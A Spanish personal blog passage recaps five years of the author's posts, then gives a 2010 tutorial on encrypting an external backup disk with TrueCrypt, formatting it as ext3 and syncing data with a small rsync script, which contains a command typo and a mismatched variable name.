       Desde entonces, surgieron artículos como el de mi nuevo PC: Nuevo ordenador, la migración desde windows a linux: Migración a Linux, pruebas con el API de Google Calendar para enviarme SMS al móvil: Usando el API de Google Calendar: Alarmas por SMS. El blog también ha visto nacer a mi primera hija, Judith: He sido padre..., "brickee" y arreglé una fonera: Fonera Brickeada... e incluso oculté la ventana que aparece cuando bloqueamos un equipo windows: Ocultar la ventana de "Equipo Bloqueado" en Window....

       Posteriormente llegaron dos artículos más que también fueron portada de Barrapunto. Monitorizando sistemas con Nagios y Raid 1 en un sistema ya instalado. Recordamos cómo era la informática hace unos cuantos años (no tantos): La informática de antaño, Judith dijo sus primeras palabras frikis: Los comienzos de un friki... a los 21 meses, me puse a programar con GWT: Mufly: Contabilidad doméstica programada en GWT e incluso monté un HTPC como centro multimedia en el salón: HTPC para el salón.

       ¿Y a partir de ahora qué?. Pues tal vez ir a por otros cinco años más. No sé cómo irá evolucionando el asunto ya que es cierto que ya no tengo tanto tiempo libre como antes y eso se nota en el ritmo de publicación, pero lo que tengo claro es que el blog sigue y seguirá abierto.

    domingo, 7 de marzo de 2010

    Backups off-site cifrados truecrypt

       En todos los proyectos hay distintas etapas. Primero te das cuenta de que la forma de realizar los backups es poco óptima y segura y decides que sería mejor tener un raid 1 para protegerte de los fallos en disco. Un tiempo después empiezas a pensar que eso está muy bien, pero qué ocurre si te roban el ordenador (con sus 2 discos del raid), se incendia, inunda o viene un tornado y te quedas sin casa. Pues que has perdido todos tus preciados datos. En ese momento piensas en un backup off-site, es decir, fuera de tu casa. Hay muchos servicios online, pero cuando tienes cientos de gigas de información que almacenar, pueden suponer muchos euros al mes.
    Al final, una solución puede ser hacer el backup a un disco externo y llevar ese disco a otro sitio: la oficina, la casa de tus padres,... y cada cierto tiempo traerlo a casa, sincronizar los datos pendientes y volverlo a llevar. Pero, ¿qué ocurre si ese disco externo se pierde o roban en casa de tus padres?, que todo el mundo vería tu información. La solución para esto, el cifrado.

       Así es cómo lo voy a hacer. Tengo un disco duro de 120 GB que usaba antes de ampliar el raid y que ahora tengo en una caja externa usb. Para el cifrado, utilizo Truecrypt, del que ya he hablado varias veces y que me parece una solución estupenda.
  • Creamos el dispositivo cifrado. En lugar de crear un archivo .tc voy a cifrar toda la partición. Nos pedirá que seleccionemos los algoritmos, que introduzcamos una clave y que "aporreemos" el teclado para generar las claves con cierta aleatoriedad. No elegimos sistema de archivos puesto que sólo podemos escoger FAT y nosotros formatearemos posteriormente a ext3. Este proceso puede durar mucho tiempo en función del tamaño del disco, en mi caso fueron unas dos horas.
    shian:~# truecrypt -c /dev/sda1
  • Una vez finalizado el proceso, montamos el volumen cifrado indicando que no tiene filesystem.
    shian:~# truecrypt --filesystem=none /dev/sda1 /mnt/ext_backup
  • Vemos dónde se ha mapeado el dispositivo y lo formateamos. Ojo no hay que elegir /dev/sda1 puesto que sino sobreescribiríamos el volumen cifrado y tendríamos que empezar de nuevo.
    shian:~# truecrypt -l   
    1: /dev/sda1 /dev/mapper/truecrypt1

    shian:~# mkfs.ext3 /dev/mapper/truecrypt1
  • Desmontamos el volumen y lo montamos en su ubicación definitiva con el sistema de archivos ya creado. Ahora ya podríamos empezar a copiar todos nuestros datos en él.
    shian:~# truecrypt -d /dev/sda1

    shian:~# trucrypt /dev/sda1 /mnt/ext_backup

    shian:~# df -h
    S.ficheros Tamaño Usado Disp Uso% Montado en
    /dev/mapper/truecrypt1 113G 17G 91G 16% /mnt/ext_backup
  • Para la sincronización he hecho un script muy sencillo con rsync que copia los datos de la partición del raid donde los deja el proceso de backup al volumen cifrado. Sólo muestro dos directorios, pero el comando es el mismo para todos.
    #!/bin/bash
    echo "Asegurate de que esté montado el volumen cifrado!!!!"
    echo "CTRL+C para cancelar"
    read

    DATA_HOME=/mnt/raid/datos/doraemon/current
    BACKUP_DST=/mnt/ext_backup
    LOG_FILE=/root/log_externalBackup/$(date +%Y%m%d_%H%M)_externalBackup.log
    FINAL_LOG_DST=/mnt/ext_backup/logs

    rsync -avpz --stats "$DATA_HOME/media/sda2/Fotos" $BACKUP_DST > $LOG_FILE
    rsync -avpz --stats "$DATA_HOME/media/sda2/Musica" $BACKUP_DST >> $LOG_FILE

    cp $LOG_FILE $FILE_LOG_DST/
  •    Y listo, con esto estaría todo terminado. Ya sólo hay que lanzar el script y esperar a la sincronización. La primera vez tardará varias horas en función del volumen de datos, pero posteriormente la copia no debería tardar demasiado.

       Tal vez esta solución no sea la más limpia y elegante, puesto que los datos no están al día, hay que acordarse de traer y llevar el disco externo (con un par de notas en Google Calendar se soluciona), pero sin duda es más barata y tienes más control de tus datos :-P